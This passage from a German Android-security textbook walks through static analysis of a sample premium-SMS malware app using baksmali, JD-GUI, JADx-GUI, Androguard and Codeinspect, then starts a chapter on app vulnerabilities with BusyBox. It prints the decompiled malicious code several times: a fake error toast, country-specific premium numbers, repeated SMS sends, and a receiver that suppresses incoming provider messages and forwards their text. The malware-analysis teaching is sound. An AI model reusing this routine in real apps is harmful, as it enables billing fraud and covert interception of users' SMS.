Java-Bytecode-Decompiler die Analyse fortführen.<br />
3.4.3 baksmali<br />
baksmali4 übersetzt den Dalvik-Bytecode in eine neue Sprache, die sehr der Syntax<br />
von Jasmin oder dedexer ähnelt und den Namen smali trägt. Diese Sprache<br />
ist sehr einfach zu lesen, da sie stark vereinfacht ausgedrückt eine Mischung aus<br />
Java und Pseudocode ist. Ein weiterer Vorteil hiervon ist, dass es mittels smali<br />
sogar möglich ist, den Code nach dem Dekompilieren zu verändern und wieder<br />
zu einer lauffähigen Applikation zusammenzubauen. So lassen sich Applikationen<br />
manipulieren und auch auf Geräten ausführen, auf denen sie eigentlich nicht<br />
lauffähig sind (z. B. aufgrund von Sicherheitsrestriktionen oder fehlenden Hardwarekomponenten).<br />
Die Übersetzung von Dalvik-Bytecode in smali erfolgt durch Eingabe des in<br />
Codebeispiel 3–9 gezeigten Aufrufs.<br />
$: java -jar baksmali.jar malware.apk -o decompiled_output<br />
Codebeispiel 3–9: Übersetzen des Dalvik-Bytecodes in smali<br />
Das Ergebnis der Übersetzung ist eine Ordnerstruktur (siehe Abbildung 3–2), die<br />
auch der Struktur des Java-Paketes entspricht mit den übersetzten Java-Klassen<br />
als einzelne smali-Dateien.<br />
Smali ist deutlich näher am ursprünglichen Bytecode, als es beispielsweise<br />
Java oder die später noch gezeigte Jimple-Sprache ist. Dennoch ist sie mit etwas<br />
Übung sehr einfach zu lesen, wie in Codebeispiel 3–10 zu sehen ist.<br />
4 smali/baksmali: https://bitbucket.org/JesusFreke/smali/downloads
50 3 Reversing von Android-Applikationen<br />
Abb. 3–2: Ordnerstruktur nach erfolgreicher Übersetzung von Dalvik-Bytecode zu smali<br />
.method public onCreate(Landroid/os/Bundle;)V<br />
.param p1, "savedInstanceState" # Landroid/os/Bundle;<br />
const/4 v2, 0x0<br />
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(<br />
Landroid/os/Bundle;)V<br />
const-string v4, "ERROR: Android version is not compatible"<br />
const/4 v5, 0x1<br />
invoke-static {p0, v4, v5}, Landroid/widget/Toast;->makeText(<br />
Landroid/content/Context;Ljava/lang/CharSequence;I)<br />
Landroid/widget/Toast;<br />
move-result-object v8<br />
.local v8, "ts":Landroid/widget/Toast;<br />
invoke-virtual {v8}, Landroid/widget/Toast;->show()V<br />
const-string v4, "phone"<br />
invoke-virtual {p0, v4}, Lcom/magicsms/own/MagicSMSActivity;-><br />
getSystemService(Ljava/lang/String;)Ljava/lang/Object;<br />
move-result-object v7<br />
check-cast v7, Landroid/telephony/TelephonyManager;<br />
.local v7, "tm":Landroid/telephony/TelephonyManager;<br />
invoke-virtual {v7}, Landroid/telephony/TelephonyManager;-><br />
getSimCountryIso()Ljava/lang/String;<br />
move-result-object v6<br />
.local v6, "countryCode":Ljava/lang/String;<br />
const-string v4, "fr"<br />
invoke-virtual {v6, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z<br />
, v4<br />
if-eqz v4, :cond_3f<br />
const-string v1, "81001"<br />
.local v1, "SMSNumber":Ljava/lang/String;
3.4 Werkzeuge zum Analysieren der Applikationen 51<br />
const-string v3, "STAR"<br />
.local v3, "SMSMessage":Ljava/lang/String;<br />
:goto_26<br />
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()<br />
Landroid/telephony/SmsManager;<br />
move-result-object v0<br />
.local v0, "sms":Landroid/telephony/SmsManager;<br />
move-object v4, v2<br />
move-object v5, v2<br />
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />
move-object v4, v2<br />
move-object v5, v2<br />
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />
move-object v4, v2<br />
move-object v5, v2<br />
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />
move-object v4, v2<br />
move-object v5, v2<br />
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />
return-void<br />
.......<br />
.end method<br />
Codebeispiel 3–10: Quellcode-Auszug der Main-Activity der fragwürdigen Android-<br />
Applikation in smali<br />
3.4.4 JD-GUI<br />
Die mithilfe von dex2jar erhaltene Datei classes_dex2jar.jar können wir durch<br />
Verwendung von JD-GUI5 weiter analysieren. Nach erfolgreichem Öffnen des<br />
5 JD-GUI: http://jd.benow.ca/
52 3 Reversing von Android-Applikationen<br />
Abb. 3–3: JD-GUI-Ansicht der zu analysierenden Android-Applikation<br />
Java-Bytecodes sehen wir direkt die zwei Java-Klassen, die den Receiver und die<br />
Main-Activity enthalten (siehe Abbildung 3–3).<br />
Als Erstes betrachten wir nun den Receiver, der – wie wir durch Analyse des<br />
Manifests gesehen haben – jedes Mal aufgerufen wird, wenn auf dem Gerät eine<br />
SMS-Nachricht empfangen wird:<br />
String str1 = arrayOfSmsMessage[0].getMessageBody();<br />
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();<br />
if ((!str2.equals("81001")) && (!str2.equals("35064"))<br />
&& (!str2.equals("63000")) && (!str2.equals("9903"))<br />
&& (!str2.equals("60999")) && (!str2.equals("543"))<br />
&& (!str2.equals("64747")))<br />
abortBroadcast();<br />
SmsManager.getDefault().sendTextMessage("0646112264", null, str1, null,<br />
null);<br />
Codebeispiel 3–11: Quellcode des Receivers der fragwürdigen Android-Applikation<br />
Hier sieht man sehr schön, dass die Applikation jede empfangene SMS-Nachricht<br />
auf den Absender der Nachricht prüft. Gehört dem Absender eine der angegebenen<br />
Nummern (81001, 35064, 63000, 9903, 60999, 543, 64747), so wird<br />
verhindert, dass der Broadcast weitere Applikationen erreicht und eine SMS-<br />
Nachricht an eine feste Nummer (0646112264) versendet, die den Inhalt der<br />
ursprünglichen Nachricht beinhaltet. Das Abbrechen des Broadcasts führt dazu,<br />
dass der Nutzer nie mitbekommt, dass diese SMS-Nachricht überhaupt auf seinem<br />
Telefon eingegangen ist.
3.4 Werkzeuge zum Analysieren der Applikationen 53<br />
Als Nächstes untersuchen wir die Main-Activity, um zu sehen, welche Aktionen<br />
die Applikation ausführt, wenn der Nutzer versucht, sie über einen Klick auf<br />
das Icon – also den herkömmlichen Weg – zu starten:<br />
public void onCreate(Bundle paramBundle)<br />
{<br />
super.onCreate(paramBundle);<br />
Toast.makeText(this, "ERROR: Android version is not compatible", 1)<br />
.show();<br />
String str1 = ((TelephonyManager)getSystemService("phone"))<br />
.getSimCountryIso();<br />
String str2;<br />
String str3;<br />
if (str1.equals("fr"))<br />
{<br />
str2 = "81001";<br />
str3 = "STAR";<br />
}<br />
while (true)<br />
{<br />
SmsManager localSmsManager = SmsManager.getDefault();<br />
localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />
localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />
localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />
localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />
return;<br />
if (str1.equals("be"))<br />
{<br />
str2 = "9903";<br />
str3 = "GA SP";<br />
}<br />
else if (str1.equals("ch"))<br />
{<br />
str2 = "543";<br />
str3 = "GEHEN SP 300";<br />
}<br />
else if (str1.equals("lu"))<br />
{<br />
str2 = "64747";<br />
str3 = "ACCESS SP";<br />
}
54 3 Reversing von Android-Applikationen<br />
else if (str1.equals("ca"))<br />
{<br />
str2 = "SP";<br />
str3 = "60999";<br />
}<br />
else if (str1.equals("de"))<br />
{<br />
str2 = "63000";<br />
str3 = "SP 462";<br />
}<br />
else if (str1.equals("es"))<br />
{<br />
str2 = "35064";<br />
str3 = "GOLD";<br />
}<br />
else if (str1.equals("gb"))<br />
{<br />
str2 = "60999";<br />
str3 = "SP2";<br />
}<br />
else<br />
{<br />
str2 = "00000";<br />
str3 = "WUUT";<br />
}<br />
}<br />
}<br />
Codebeispiel 3–12: Quellcode der Main-Activity der fragwürdigen Android-Applikation in<br />
Java<br />
Betrachtet man diesen Quellcode, so sieht man, dass die Applikation direkt nach<br />
dem Start einen sogenannten Toast erzeugt mit der Fehlermeldung »ERROR:<br />
Android version is not compatible«. Ein Toast in Android ist vergleichbar mit<br />
einem Pop-up unter Windows. Im Anschluss liest die Applikation mithilfe des<br />
TelephonyManager die ISO-Codierung der SIM-Karte aus. Diese Codierung wird<br />
im weiteren Verlauf dazu benutzt, passende String-Paare zu finden. Für die Codierung<br />
für Deutschland (de) ergibt sich hierbei das Paar 63000;SP 462. Diese beiden<br />
Strings werden im Anschluss verwendet, um vier SMS-Nachrichten zu versenden.<br />
Die Nummer, an die SMS-Nachrichten versendet werden, ist dabei die<br />
63000 mit dem Text SP 462. Hierbei handelt es sich um sogenannte Premium-<br />
SMS-Nachrichten, die den Nutzer viel Geld kosten können.
3.4 Werkzeuge zum Analysieren der Applikationen 55<br />
3.4.5 JADx-GUI<br />
Im Gegensatz zu JD-GUI ist JADx-GUI6 ohne Unterstützung von externen Bytecode-Übersetzern<br />
in der Lage, eine Android-Applikation in Java-Code zu übersetzen.<br />
Dieses Werkzeug kann apk-Dateien öffnen und wandelt den Dalvik-Bytecode<br />
im Hintergrund automatisch in Java-Code um. Hierdurch wird nur noch ein einziges<br />
Tool benötigt, mit dessen Hilfe der Analyst den zu Beginn des Abschnitts 3.1<br />
beschriebenen Workflow durchführen kann.<br />
Abb. 3–4: JADx-GUI-Ansicht des Android-Manifests der zu analysierenden Android-Applikation<br />
In den Abbildungen 3–4 und 3–5 sieht man sehr schön, dass JADx-GUI nicht<br />
nur sämtliche Java-Klassen der Applikation darstellen kann, sondern auch das<br />
Android-Manifest in einer lesbaren Form anzeigt.<br />
Doch auch dieses Tool ist nicht perfekt. Das Werkzeug steckt noch in den<br />
frühen Phasen der Entwicklung und man sieht daher immer wieder Meldungen,<br />
die darauf hindeuten, dass gewisse Funktionen noch nicht implementiert sind.<br />
3.4.6 Androguard<br />
Androguard7 ist ein weiteres, sehr mächtiges Werkzeug, das zur Analyse von<br />
Android-Applikationen verwendet werden kann. Im Gegensatz zu den meisten<br />
6 JADx-GUI: https://github.com/skylot/jadx<br />
7 Androguard: https://github.com/androguard/androguard
56 3 Reversing von Android-Applikationen<br />
Abb. 3–5: JADx-GUI-Ansicht der zu analysierenden Android-Applikation<br />
hier gezeigten Tools ist es deutlich interaktiver aufgebaut und dadurch auch im<br />
Umgang für den Sicherheitsanalysten komplexer.<br />
Die nachfolgende Auflistung zeigt eine mögliche Abfolge von Analyseschritten:<br />
1. Die interaktive Umgebung starten wir durch Eingabe von:<br />
python androlyze.py -s<br />
2. Im ersten Schritt müssen wir Androguard mitteilen, welche Android-Applikation<br />
wir analysieren möchten und welchen Decompiler wir hierfür verwenden<br />
möchten. Dies machen wir durch folgende Eingabe:<br />
In [1]: a,d,dx = AnalyzeAPK("malware.apk", decompiler="dad")<br />
Codebeispiel 3–13: Übergabe der Android-Applikation zum Reversing an Androguard<br />
3. Nun haben wir die Applikation geladen und dekompiliert. Im nächsten<br />
Schritt können wir uns die angeforderten Berechtigungen ausgeben lassen.<br />
Dies geschieht per:<br />
In [2]: a.get_permissions()<br />
Out[2]:<br />
['android.permission.SEND_SMS',<br />
'android.permission.RECEIVE_SMS',
3.4 Werkzeuge zum Analysieren der Applikationen 57<br />
'android.permission.ACCESS_GPS',<br />
'android.permission.ACCESS_LOCATION']<br />
Codebeispiel 3–14: Auflistung der verwendeten Berechtigungen mithilfe von Androguard<br />
4. Im Nachgang ist es wichtig, dass wir den Einsprungpunkt in die Applikation<br />
finden. Dies gelingt uns durch Auflistung der Activities durch Eingabe des<br />
folgenden Befehls:<br />
In [3]: a.get_activities()<br />
Out[3]: ['com.magicsms.own.MagicSMSActivity']<br />
Codebeispiel 3–15: Auflistung der verwendeten Activities mithilfe von Androguard<br />
5. Zusätzlich könnten wir uns hier auch anzeigen lassen, welche Klassen die<br />
Applikation insgesamt besitzt, um so einen ersten Überblick zu bekommen:<br />
In [4]: d.get_classes_names()<br />
Out[4]:<br />
['Lcom/magicsms/own/MagicSMSActivity;',<br />
'Lcom/magicsms/own/R$attr;',<br />
'Lcom/magicsms/own/R$drawable;',<br />
'Lcom/magicsms/own/R$id;',<br />
'Lcom/magicsms/own/R$layout;',<br />
'Lcom/magicsms/own/R$string;',<br />
'Lcom/magicsms/own/R;',<br />
'Lcom/magicsms/own/receiver/SMSReceiver;']<br />
Codebeispiel 3–16: Auflistung der vorhandenen Klassen mithilfe von Androguard<br />
6. Nachdem wir wissen, welches die einzige aufrufbare Activity ist, schauen wir<br />
uns hiervon den Quellcode an, um die Analyse durchzuführen. Dies erreichen<br />
wir durch Eingabe des folgenden Befehls:<br />
In [5]: d.get_class('Lcom/magicsms/own/MagicSMSActivity;').source()<br />
Out[5]:<br />
package com.magicsms.own;<br />
public class MagicSMSActivity extends android.app.Activity {<br />
public MagicSMSActivity()<br />
{<br />
return;<br />
}
58 3 Reversing von Android-Applikationen<br />
public void onCreate(android.os.Bundle p10)<br />
{<br />
String v3;<br />
String v1;<br />
super.onCreate(p10);<br />
android.widget.Toast.makeText(this, "ERROR: Android version is not<br />
compatible", 1).show();<br />
String v6 = ((android.telephony.TelephonyManager) this.<br />
getSystemService("phone")).getSimCountryIso();<br />
if (!v6.equals("fr")) {<br />
if (!v6.equals("be")) {<br />
if (!v6.equals("ch")) {<br />
if (!v6.equals("lu")) {<br />
if (!v6.equals("ca")) {<br />
if (!v6.equals("de")) {<br />
if (!v6.equals("es")) {<br />
if (!v6.equals("gb")) {<br />
v1 = "00000";<br />
v3 = "WUUT";<br />
} else {<br />
....<br />
}<br />
}<br />
}<br />
} else {<br />
v1 = "81001";<br />
v3 = "STAR";<br />
}<br />
android.telephony.SmsManager v0 = android.telephony.SmsManager.<br />
getDefault();<br />
v0.sendTextMessage(v1, 0, v3, 0, 0);<br />
v0.sendTextMessage(v1, 0, v3, 0, 0);<br />
v0.sendTextMessage(v1, 0, v3, 0, 0);<br />
v0.sendTextMessage(v1, 0, v3, 0, 0);<br />
return;<br />
Codebeispiel 3–17: Auszug aus dem dekompilierten Quellcode der Main-Activity mit<br />
Androguard
3.4 Werkzeuge zum Analysieren der Applikationen 59<br />
7. Zum Abschluss können wir uns von Androguard auch noch die Receiver<br />
anzeigen lassen, die unsere malware.apk implementiert hat. So erhalten wir<br />
einen vollständigen Überblick über die Funktionen der Android-Applikation:<br />
In [6]: a.get_receivers()<br />
Out[6]: ['com.magicsms.own.receiver.SMSReceiver']<br />
Codebeispiel 3–18: Auflistung der implementierten Receiver mithilfe von Androguard<br />
Mit diesem Ablauf und unter Verwendung von Androguard haben wir es nun<br />
geschafft, den Java-Quellcode der Main-Activity unserer malware.apk zu erhalten<br />
und zusätzlich auch Informationen über Berechtigungen, die wirklich von der Applikation<br />
benötigt werden. Dies zeigt schon erste Hinweise darauf, wie mächtig<br />
Androguard ist.<br />
3.4.7 Codeinspect<br />
Codeinspect8 [13] ist eines der umfangreichsten Werkzeuge, die man zum Analysieren<br />
von Android-Applikationen verwenden kann. Mit Codeinspect ist es dem<br />
Analysten möglich, direkt eine apk-Datei zu importieren und sie in eine gut lesbare<br />
Sprache zu übersetzen. Hierfür verwendet das Werkzeug eine Art Zwischendarstellungssprache,<br />
die sich Jimple – Java but simple – nennt. Diese wird zusammen<br />
mit dem Soot-Framework9 im Hintergrund verwendet, um die Übersetzung<br />
des Dalvik-Bytecodes vorzunehmen. Das Soot-Framework wie auch Jimple sind<br />
seit vielen Jahren unter aktiver Entwicklung und haben sich im Bereich der Analyse<br />
von Java- und Dalvik-Bytecode bewährt.<br />
Abbildung 3–6 zeigt unsere importierte malware.apk und die Grundstruktur<br />
von Codeinspect. Wie man am Aufbau gut erkennen kann, beruht Codeinspect<br />
auf der Eclipse IDE und zeigt folgende Fenster an:<br />
Project Explorer: Hier werden alle Bestandteile der importieren Android-Applikation<br />
strukturiert aufgelistet.<br />
Outline: Dieses Fenster zeigt alle Methoden und Variablen einer gegebenen Klasse<br />
an. Durch Anklicken der hier angezeigten Elemente kann der Analyst direkt<br />
zu den referenzierten Stellen im Quellcode springen.<br />
Console: Zeigt die Konsole an, wie man sie auch von Eclipse kennt. Diese Ausgabe<br />
wird im weiteren Verlauf des Buches noch wichtig.<br />
Problems: Hier werden alle Fehlermeldungen angezeigt, die während der Laufzeit<br />
der Applikation auftreten.<br />
8 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/<br />
9 Soot-Framework: https://github.com/Sable/soot/wiki
60 3 Reversing von Android-Applikationen<br />
Permission Usage: Dieses Fenster zeigt, welche Berechtigungen die Applikation<br />
wirklich verwendet und an welchen Stellen im Quellcode sie benötigt werden.<br />
Auto Stepper: Codeinspect ist nicht nur in der Lage, statische Analysen durchzuführen,<br />
man kann das Werkzeug auch verwenden, um Applikationen zur<br />
Laufzeit zu analysieren. Hierfür kann man den Auto Stepper verwenden, der<br />
automatisch Breakpoints setzt, um so Stück für Stück durch die Applikation<br />
zu springen.<br />
Codeinspect bietet neben den Fähigkeiten des Reversings und Debuggings auch<br />
die klassischen Funktionen einer IDE. Man kann hier Variablen oder ganze Klassen<br />
umbenennen (dies ist besonders sinnvoll bei großen Applikationen, deren<br />
Code verschleiert ist), in dekompiliertem Code suchen oder eben auch die Hierarchie<br />
der Funktionsaufrufe anzeigen lassen. Dies sind Funktionen, die sehr hilfreich<br />
sein können, um eine Applikation – oder eine Klasse/Methode innerhalb<br />
einer Applikation – besser verstehen zu können.<br />
Abb. 3–6: Codeinspect-Ansicht der zu analysierenden Android-Applikation<br />
Eines der wichtigsten Bestandteile von Codeinspect (im Bereich des statischen<br />
Reversings) stellt das Fenster in der Mitte dar (siehe Abbildung 3–6). Hier wird<br />
der übersetzte Quellcode der ausgewählten Klasse in Jimple angezeigt. Vergleicht<br />
man die Darstellung des dekompilierten Java-Codes aus dem Codebeispiel 3–12<br />
mit der im nachfolgend abgebildeten Codebeispiel 3–19, so erkennt man sehr gut<br />
die Ähnlichkeit zwischen Jimple und Java. Seit Kurzem gibt es auch die Möglichkeit,<br />
sich den Code der Applikation als Java-Code anzeigen zu lassen (Project<br />
Explorer → build/classfiles). Dieses Feature ist jedoch zum aktuellen Zeitpunkt<br />
noch in der Entwicklung und man sollte die Ergebnisse daher noch mit Vorsicht
3.4 Werkzeuge zum Analysieren der Applikationen 61<br />
betrachten. Deshalb lautet momentan noch die Empfehlung, bei der Jimple- bzw.<br />
Jimple++-Ansicht zu bleiben.<br />
public void onCreate(android.os.Bundle $param0)<br />
{<br />
android.widget.Toast $Toast;<br />
android.telephony.TelephonyManager $TelephonyManager;<br />
android.telephony.SmsManager $SmsManager;<br />
java.lang.Object $Object;<br />
java.lang.String $String, $String_1;<br />
boolean $z0;<br />
specialinvoke this.($param0);<br />
$Toast = staticinvoke (<br />
this, "ERROR: Android version is not compatible", 1);<br />
virtualinvoke $Toast.();<br />
$Object = virtualinvoke this.("phone");<br />
$TelephonyManager = (android.telephony.TelephonyManager) $Object;<br />
$String = virtualinvoke $TelephonyManager.();<br />
$z0 = virtualinvoke $String.("fr");<br />
if $z0 == false goto label0;<br />
$String = "81001";<br />
$String_1 = "STAR";<br />
label2:<br />
$SmsManager = staticinvoke ();<br />
virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />
virtualinvoke $SmsManager.($String, null, $String_1, null, null);
62 3 Reversing von Android-Applikationen<br />
virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />
virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />
return;<br />
label0:<br />
$z0 = virtualinvoke $String.("be");<br />
if $z0 == false goto label1;<br />
$String = "9903";<br />
$String_1 = "GA SP";<br />
goto label2;<br />
label1:<br />
$z0 = virtualinvoke $String.("ch");<br />
if $z0 == false goto label3;<br />
$String = "543";<br />
$String_1 = "GEHEN SP 300";<br />
goto label2;<br />
label3:<br />
$z0 = virtualinvoke $String.("lu");<br />
if $z0 == false goto label4;<br />
$String = "64747";<br />
$String_1 = "ACCESS SP";<br />
goto label2;<br />
label4:<br />
$z0 = virtualinvoke $String.("ca");<br />
if $z0 == false goto label5;<br />
$String = "SP";<br />
$String_1 = "60999";<br />
goto label2;
3.4 Werkzeuge zum Analysieren der Applikationen 63<br />
label5:<br />
$z0 = virtualinvoke $String.("de");<br />
if $z0 == false goto label6;<br />
$String = "63000";<br />
$String_1 = "SP 462";<br />
goto label2;<br />
label6:<br />
$z0 = virtualinvoke $String.("es");<br />
if $z0 == false goto label7;<br />
$String = "35064";<br />
$String_1 = "GOLD";<br />
goto label2;<br />
label7:<br />
$z0 = virtualinvoke $String.("gb");<br />
if $z0 == false goto label8;<br />
$String = "60999";<br />
$String_1 = "SP2";<br />
goto label2;<br />
label8:<br />
$String = "00000";<br />
$String_1 = "WUUT";<br />
goto label2;<br />
}<br />
Codebeispiel 3–19: Quellcode der Main-Activity der fragwürdigen Android-Applikation in<br />
Jimple<br />
Neben diesen Funktionen bietet Codeinspect inzwischen auch die Möglichkeit,<br />
den Fluss von Informationen, wie z. B. Daten aus dem lokalen Adressbuch oder<br />
zusammengesetzte Strings, über die komplette Ausführung der Applikation hinweg<br />
zu verfolgen. Mit diesem Verfahren lässt sich herausfinden, was mit diesen<br />
Daten passiert, um so besser zu verstehen, wie eine Applikation funktioniert.<br />
Abbildung 3–7 zeigt dies am Beispiel einer Malware, die SMS-Nachrichten versendet<br />
[1].<br />
Wie man Codeinspect auch zur Laufzeitanalyse und -manipulation von Android-Applikationen<br />
verwendet, wird ausführlich in Abschnitt 4.8 gezeigt. Dabei<br />
wird auch auf die Funktionen des Debuggers eingegangen.
64 3 Reversing von Android-Applikationen<br />
Abb. 3–7: FlowDroid-Ansicht innerhalb von Codeinspect<br />
3.5 Zusammenfassung<br />
In diesem Kapitel haben wir versucht, die Chancen, aber auch die Grenzen von<br />
Reversing bzw. statischer Analyse aufzuzeigen. Es sollte nun jedem Analysten<br />
klar sein, dass man nicht ohne diese Fähigkeiten auskommt, dass Reversing jedoch<br />
auch nicht die Lösung aller Probleme ist, da man die hierfür verwendeten<br />
Tools und Techniken als Entwickler und vor allem als Autor bösartiger, oder zumindest<br />
fragwürdiger Applikationen in ihrer Funktion deutlich einschränken und<br />
teilweise sogar verhindern kann.<br />
In Abschnitt 3.1 haben wir einen kurzen Workflow dargestellt, wie man bei<br />
der statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine leicht<br />
verständliche Repräsentation des Dalvik-Bytecodes zu gelangen.<br />
Danach haben wir gängige Werkzeuge kennengelernt, mit denen man eine<br />
Applikation analysieren kann, ohne sie selbst ausführen zu müssen: adb, aapt,<br />
dex2jar, enjarify, baksmali, JD-GUI, JADx-GUI, Androguard und Codeinspect.<br />
Um die einzelnen Vor- und Nachteile und die Funktionsweise der Tools zu<br />
erklären, haben wir unsere malware.apk (eine schadhafte Android-Applikation)<br />
mit ihnen analysiert und die Unterschiede dargestellt. Hierbei sieht man auch die<br />
deutlichen Unterschiede in den Übersetzungen des Dalvik-Bytecodes: Java, smali<br />
und Jimple.<br />
Betrachtet man die Ergebnisse der in diesem Kapitel durchgeführten statischen<br />
Analysen, so sieht man, dass unsere bösartige Android-Applikation direkt<br />
nach ihrem Start vier Premium-SMS-Nachrichten versendet und dem Nutzer eine<br />
Fehlermeldung anzeigt, die ihm vorgaukelt, dass sein Smartphone die falsche<br />
Android-Version installiert hätte und deshalb die Applikation nicht lauffähig
3.5 Zusammenfassung 65<br />
sei. Gleichzeitig versucht sie aber, eingehende SMS-Nachrichten der Premium-<br />
Anbieter zu verstecken, damit der Nutzer nicht mitbekommt, welche Aktionen<br />
die Applikation im Hintergrund wirklich durchgeführt hat. Dieses Vorgehen ist<br />
ganz typisch für die erste Generation an Android-Malware und war in den Jahren<br />
2011 bis 2013 eine der am häufigsten vorkommenden Funktionen von schadhaften<br />
Applikationen. Inzwischen hat sich das Verhalten der Malware weiterentwickelt<br />
und man sieht erste gezielte Angriffe, bei denen die Applikationen sehr<br />
genau an die Opfer angepasst sind. Des Weiteren erkennt man deutlich, dass die<br />
Malware in den letzten Jahren versucht, Daten von den infizierten Geräten zu erbeuten<br />
oder sie aus der Ferne zu steuern. Dabei wird immer häufiger Obfuscation<br />
eingesetzt, um es einem Analysten zu erschweren, den Code und die Funktionen<br />
zu erkennen.
67<br />
4 Sicherheitsprobleme bei<br />
Android-Applikationen<br />
Betrachtet man die große Anzahl an mobilen Applikationen und Einsatzszenarien<br />
für Android und die Vielzahl der Entwickler und der verfügbaren Entwicklungsumgebungen<br />
(IDE), so kann man sich gut vorstellen, dass nicht jeder Entwickler<br />
wirklich alles richtig macht beim Entwickeln von Lösungen für diese Plattform.<br />
Selbst wenn man sich als Entwickler an Vorgaben zum Programmieren sicheren<br />
Codes hält, ist es immer noch sehr schwer, eine komplett fehlerfreie Applikation<br />
zu entwerfen. Zudem ist ein hohes Maß an Wissen nötig, um diesem Ziel auch<br />
nur ansatzweise nahe zu kommen. Da all diese Voraussetzungen nur selten erfüllt<br />
sind, ist es wichtig für uns als Sicherheitsanalysten – aber auch für Angreifer – zu<br />
wissen, wo eventuelle Schwachstellen versteckt sind und wie sie sich finden und<br />
ausnutzen lassen.<br />
Aus diesem Grund wird in diesem Kapitel auf wichtige Werkzeuge, aber auch<br />
auf die häufigsten Schwachstellen eingegangen. Dazu ist dieses Kapitel in fünf<br />
logische Teilgebiete unterteilt:<br />
1. Wichtige Werkzeuge zur Analyse (Abschnitt 4.1)<br />
2. Zugriffe auf personenbezogene Daten (Abschnitt 4.2)<br />
3. Schwachstellen im Code einer Applikation (Abschnitte 4.4 bis 4.6)<br />
4. Digitale Forensik (Abschnitt 4.7)<br />
5. Manipulation von Applikationen zur Laufzeit (Abschnitt 4.8)<br />
4.1 Wichtige Tools und Helfer<br />
Bevor wir mit den Techniken und Problemen bei Android-Applikationen beginnen,<br />
soll hier noch kurz auf ein paar sehr wichtige Tools eingegangen werden,<br />
die bei der Analyse hilfreich sind und im weiteren Verlauf des Kapitels immer<br />
wieder auftauchen werden. Zu diesen Tools gehören BusyBox, Drozer und der<br />
PackageManager.
68 4 Sicherheitsprobleme bei Android-Applikationen<br />
4.1.1 BusyBox<br />
Wer häufig mit Linux oder Mac OS X arbeitet, weiß die Kommandozeile und<br />
die vielen mächtigen Tools, die in ihr verfügbar sind, zu schätzen. Wechselt man<br />
das erste Mal auf die Android-Shell, so merkt man sehr schnell, welche Tools<br />
einem fehlen und wie umständlich es ohne diese kleinen Helfer ist. Für diesen<br />
Zweck gibt es ein einzelnes Binary, das eine Vielzahl dieser Kommandozeilentools<br />
beinhaltet: BusyBox<br />
BusyBox kann man über mehrere Wege auf das Gerät seiner Wahl aufbringen.<br />
Die zwei Methoden, die am weitesten verbreitet sind, sind das Installieren<br />
der BusyBox-Applikation1 aus dem offiziellen Google Play Store und das manuelle<br />
Kopieren eines vorkompilierten Binaries2 . Beide Varianten habe eigene Vorund<br />
Nachteile und damit auch unterschiedliche Einsatzszenarien. Möchte man<br />
die Kommandozeilentools auf dem gesamten Gerät verfügbar haben – egal welcher<br />
Nutzer oder Prozess man gerade ist –, so ist der Weg über die Applikation die<br />
beste Wahl. Der Nachteil ist jedoch auch, dass das Gerät hierfür bereits gerootet<br />
sein muss, da die entsprechenden Binaries und Verlinkungen in die Systempartition<br />
kopiert werden. Möchte man relativ unbemerkt im eigenen Kontext auf<br />
BusyBox und ihre Tools zugreifen, so ist das manuelle Kopieren des Binaries die<br />
bessere Alternative, da man hier keine Root-Rechte benötigt. Nachteil ist hier<br />
jedoch, dass man alle Befehle nur im eigenen Benutzerkontext ausführen darf.<br />
Eine Übersicht aller Kommandozeilentools, die in BusyBox enthalten sind, ist<br />
in Codebeispiel 4–1 aufgezählt.<br />
acpid, adjtimex, arp, arping, ash, awk, base64, basename, beep, blkid,<br />
blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, catv, chat, chattr,<br />
chgrp, chmod, chown, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm,<br />
conspy, cp, cpio, crond, crontab, cttyhack, cut, date, dc, dd,<br />
deallocvt, depmod, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd,<br />
dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep,<br />
eject, env, envdir, envuidgid, ether-wake, expand, expr, fakeidentd,<br />
false, fatattr, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole,<br />
fgrep, find, findfs, flock, fold, free, freeramdisk, fsck, fsck.minix,<br />
fstrim, fsync, ftpd, ftpget, ftpput, fuser, getopt, grep, groups,<br />
gunzip, gzip, hd, hdparm, head, hexdump, hostid, hostname, httpd, hush,<br />
hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig, ifdown,<br />
ifenslave, ifplugd, ifup, inetd, init, insmod, install, ionice, iostat,<br />
ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel,<br />
kbd_mode, kill, killall, killall5, klogd, last, less, linux32, linux64,<br />
linuxrc, ln, loadfont, loadkmap, logger, logname, logread, losetup, ls,<br />
lsattr, lsmod, lsof, lspci, lsusb, lzop, lzopcat, makedevs, man, md5sum,<br />
1 BusyBox App: https://play.google.com/store/apps/details?id=stericson.busybox<br />
2 BusyBox Binaries: https://busybox.net/downloads/binaries/
